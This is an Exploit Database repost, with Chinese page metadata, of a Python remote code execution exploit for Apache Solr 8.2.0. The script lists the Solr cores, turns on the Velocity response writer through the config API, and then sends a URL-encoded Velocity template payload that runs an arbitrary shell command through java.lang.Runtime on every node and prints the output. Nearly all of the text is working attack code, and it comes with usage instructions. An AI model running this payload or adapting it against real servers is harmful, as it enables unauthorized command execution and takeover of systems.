Apache Solr 8.2.0 – Remote Code Execution

Exploit Database
122 阅读

作者： @l3x_wong

日期： 2019-11-01
类别：
- webapps
平台：
- java
来源：https://www.exploit-db.com/exploits/47572/

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# Title: Apache Solr 8.2.0 - Remote Code Execution

# Date: 2019-11-01

# Author: @l3x_wong

# Vendor: https://lucene.apache.org/solr/

# Software Link: https://lucene.apache.org/solr/downloads.html

# CVE: N/A

# github: https://github.com/AleWong/Apache-Solr-RCE-via-Velocity-template

# usage: python3 script.py ip [port [command]]

#default port=8983

#default command=whoami

# note:

# Step1: Init Apache Solr Configuration

# Step2: Remote Exec in Every Solr Node

import sys

import json

import time

import requests

class initSolr(object):

timestamp_s = str(time.time()).split('.')

timestamp = timestamp_s[0] + timestamp_s[1][0:-3]

def __init__(self, ip, port):

self.ip = ip

self.port = port

def get_nodes(self):

payload = {

'_': self.timestamp,

'indexInfo': 'false',

'wt': 'json'

}

url = 'http://' + self.ip + ':' + self.port + '/solr/admin/cores'

try:

nodes_info = requests.get(url, params=payload, timeout=5)

node = list(nodes_info.json()['status'].keys())

state = 1

except:

node = ''

state = 0

if node:

return {

'node': node,

'state': state,

'msg': 'Get Nodes Successfully'

}

else:

return {

'node': None,

'state': state,

'msg': 'Get Nodes Failed'

}

def get_system(self):

payload = {

'_': self.timestamp,

'wt': 'json'

}

url = 'http://' + self.ip + ':' + self.port + '/solr/admin/info/system'

try:

system_info = requests.get(url=url, params=payload, timeout=5)

os_name = system_info.json()['system']['name']

os_uname = system_info.json()['system']['uname']

os_version = system_info.json()['system']['version']

state = 1

except:

os_name = ''

os_uname = ''

os_version = ''

state = 0

return {

'system': {

'name': os_name,

'uname': os_uname,

'version': os_version,

'state': state

}

class apacheSolrRCE(object):

def __init__(self, ip, port, node, command):

self.ip = ip

self.port = port

self.node = node

self.command = command

self.url = "http://" + self.ip + ':' + self.port + '/solr/' + self.node

def init_node_config(self):

url = self.url + '/config'

payload = {

'update-queryresponsewriter': {

'startup': 'lazy',

'name': 'velocity',

'class': 'solr.VelocityResponseWriter',

'template.base.dir': '',

'solr.resource.loader.enabled': 'true',

'params.resource.loader.enabled': 'true'

}

try:

res = requests.post(url=url, data=json.dumps(payload), timeout=5)

if res.status_code == 200:

return {

'init': 'Init node config successfully',

'state': 1

}

else:

return {

'init': 'Init node config failed',

'state': 0

}

except:

return {

'init': 'Init node config failed',

'state': 0

}

def rce(self):

url = self.url + ("/select?q=1&&wt=velocity&v.template=custom&v.template.custom="

"%23set($x=%27%27)+"

"%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+"

"%23set($chr=$x.class.forName(%27java.lang.Character%27))+"

"%23set($str=$x.class.forName(%27java.lang.String%27))+"

"%23set($ex=$rt.getRuntime().exec(%27" + self.command +

"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+"

"%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end")

try:

res = requests.get(url=url, timeout=5)

if res.status_code == 200:

try:

if res.json()['responseHeader']['status'] == '0':

return 'RCE failed @Apache Solr node %s\n' % self.node

else:

return 'RCE failed @Apache Solr node %s\n' % self.node

except:

return 'RCE Successfully @Apache Solr node %s\n %s\n' % (self.node, res.text.strip().strip('0'))

else:

return 'RCE failed @Apache Solr node %s\n' % self.node

except:

return 'RCE failed @Apache Solr node %s\n' % self.node

def check(ip, port='8983', command='whoami'):

system = initSolr(ip=ip, port=port)

if system.get_nodes()['state'] == 0:

print('No Nodes Found. Remote Exec Failed!')

else:

nodes = system.get_nodes()['node']

systeminfo = system.get_system()

os_name = systeminfo['system']['name']

os_version = systeminfo['system']['version']

print('OS Realese: %s, OS Version: %s\nif remote exec failed, '

'you should change your command with right os platform\n' % (os_name, os_version))

for node in nodes:

res = apacheSolrRCE(ip=ip, port=port, node=node, command=command)

init_node_config = res.init_node_config()

if init_node_config['state'] == 1:

print('Init node %s Successfully, exec command=%s' % (node, command))

result = res.rce()

print(result)

else:

print('Init node %s Failed, Remote Exec Failed\n' % node)

if __name__ == '__main__':

usage = ('python3 script.py ip [port [command]]\n '

'\t\tdefault port=8983\n '

'\t\tdefault command=whoami')

if len(sys.argv) == 4:

ip = sys.argv[1]

port = sys.argv[2]

command = sys.argv[3]

check(ip=ip, port=port, command=command)

elif len(sys.argv) == 3:

ip = sys.argv[1]

port = sys.argv[2]

check(ip=ip, port=port)

elif len(sys.argv) == 2:

ip = sys.argv[1]

check(ip=ip)

else:

print('Usage: %s:\n' % usage)